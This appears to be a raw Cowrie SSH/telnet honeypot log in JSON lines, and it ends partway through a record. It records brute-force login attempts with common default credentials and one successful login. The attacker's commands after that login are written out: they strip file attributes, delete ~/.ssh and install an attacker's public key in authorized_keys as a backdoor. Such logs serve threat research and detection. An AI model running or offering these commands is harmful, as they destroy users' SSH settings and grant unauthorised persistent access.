{"eventid":"cowrie.login.failed","username":"antonia","password":"antonia","message":"login attempt [antonia/antonia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:30.700404Z","src_ip":"159.203.92.129","session":"159b9f10f2b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:31.705236Z","src_ip":"159.203.92.129","session":"159b9f10f2b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.354270219802856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:32.131194Z","src_ip":"103.49.70.87","session":"5a77b18dbdd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792186975479126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:33.325818Z","src_ip":"103.49.70.87","session":"32a83d8232b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":51766,"dst_ip":"159.203.135.109","dst_port":22,"session":"c62007cb8a89","protocol":"ssh","message":"New connection: 157.7.113.83:51766 (159.203.135.109:22) [session: c62007cb8a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:40.915196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:40.919673Z","src_ip":"157.7.113.83","session":"c62007cb8a89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:41.077274Z","src_ip":"157.7.113.83","session":"c62007cb8a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty","message":"login attempt [admin/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:41.741005Z","src_ip":"157.7.113.83","session":"c62007cb8a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.696555614471436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:41.780459Z","src_ip":"103.49.70.87","session":"7045cf1d4524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":41814,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0a34971396","protocol":"telnet","message":"New connection: 103.49.70.87:41814 (10.17.0.5:23) [session: 6d0a34971396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:41.883565Z"}
{"eventid":"cowrie.session.closed","duration":30.71125078201294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:42.150255Z","src_ip":"103.49.70.87","session":"e785cc4e1fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":35060,"dst_ip":"10.17.0.5","dst_port":23,"session":"3808edbb9cdf","protocol":"telnet","message":"New connection: 103.49.70.87:35060 (10.17.0.5:23) [session: 3808edbb9cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:42.602907Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":35074,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ce21f39c9b","protocol":"telnet","message":"New connection: 103.49.70.87:35074 (10.17.0.5:23) [session: 69ce21f39c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:42.777502Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:42.908228Z","src_ip":"157.7.113.83","session":"c62007cb8a89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.841851949691772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:50.324653Z","src_ip":"103.49.70.87","session":"391a18d85424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":35360,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea887b6aa18","protocol":"telnet","message":"New connection: 103.49.70.87:35360 (10.17.0.5:23) [session: 9ea887b6aa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:55.933826Z"}
{"eventid":"cowrie.session.closed","duration":30.88961172103882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:56.118145Z","src_ip":"103.49.70.87","session":"3afafac1346f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62155771255493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:43:56.144562Z","src_ip":"103.49.70.87","session":"4a817e5c77fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.440966844558716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:12.324419Z","src_ip":"103.49.70.87","session":"6d0a34971396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071200370788574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:13.848598Z","src_ip":"103.49.70.87","session":"69ce21f39c9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.340750694274902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:13.943542Z","src_ip":"103.49.70.87","session":"3808edbb9cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":9116,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7abb200f787","protocol":"ssh","message":"New connection: 118.193.33.81:9116 (159.203.135.109:22) [session: d7abb200f787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:15.873616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:15.880227Z","src_ip":"118.193.33.81","session":"d7abb200f787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:16.110363Z","src_ip":"118.193.33.81","session":"d7abb200f787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36616,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f5587d92a3","protocol":"ssh","message":"New connection: 159.203.92.129:36616 (159.203.135.109:22) [session: 34f5587d92a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:16.238198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:16.242533Z","src_ip":"159.203.92.129","session":"34f5587d92a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:16.246924Z","src_ip":"159.203.92.129","session":"34f5587d92a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"123456","message":"login attempt [antonio/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:16.264104Z","src_ip":"159.203.92.129","session":"34f5587d92a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"1","message":"login attempt [bitrix/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:16.994903Z","src_ip":"118.193.33.81","session":"d7abb200f787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:17.271242Z","src_ip":"159.203.92.129","session":"34f5587d92a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:18.228409Z","src_ip":"118.193.33.81","session":"d7abb200f787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":42356,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ebe1c934c7","protocol":"telnet","message":"New connection: 103.49.70.87:42356 (10.17.0.5:23) [session: a5ebe1c934c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:26.282927Z"}
{"eventid":"cowrie.session.closed","duration":31.85699152946472,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:27.790690Z","src_ip":"103.49.70.87","session":"9ea887b6aa18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":42370,"dst_ip":"10.17.0.5","dst_port":23,"session":"e04217129e6f","protocol":"telnet","message":"New connection: 103.49.70.87:42370 (10.17.0.5:23) [session: e04217129e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:30.831938Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":42366,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec03f9614f21","protocol":"telnet","message":"New connection: 103.49.70.87:42366 (10.17.0.5:23) [session: ec03f9614f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:30.968981Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":50056,"dst_ip":"10.17.0.5","dst_port":23,"session":"af378bf7f228","protocol":"telnet","message":"New connection: 103.49.70.87:50056 (10.17.0.5:23) [session: af378bf7f228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:36.166297Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":33848,"dst_ip":"159.203.135.109","dst_port":22,"session":"80fb97a578a8","protocol":"ssh","message":"New connection: 157.7.113.83:33848 (159.203.135.109:22) [session: 80fb97a578a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:37.115968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:37.120897Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:37.277077Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123qwe","message":"login attempt [steam/123qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:37.939565Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:38.294023Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:38.296978Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:38.300031Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:38.457813Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:38.838839Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:38.842237Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:39.003510Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:39.007412Z","src_ip":"157.7.113.83","session":"80fb97a578a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":33864,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c4adc3c3df8","protocol":"ssh","message":"New connection: 157.7.113.83:33864 (159.203.135.109:22) [session: 1c4adc3c3df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:39.152866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:44:39.156890Z","src_ip":"157.7.113.83","session":"1c4adc3c3df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh 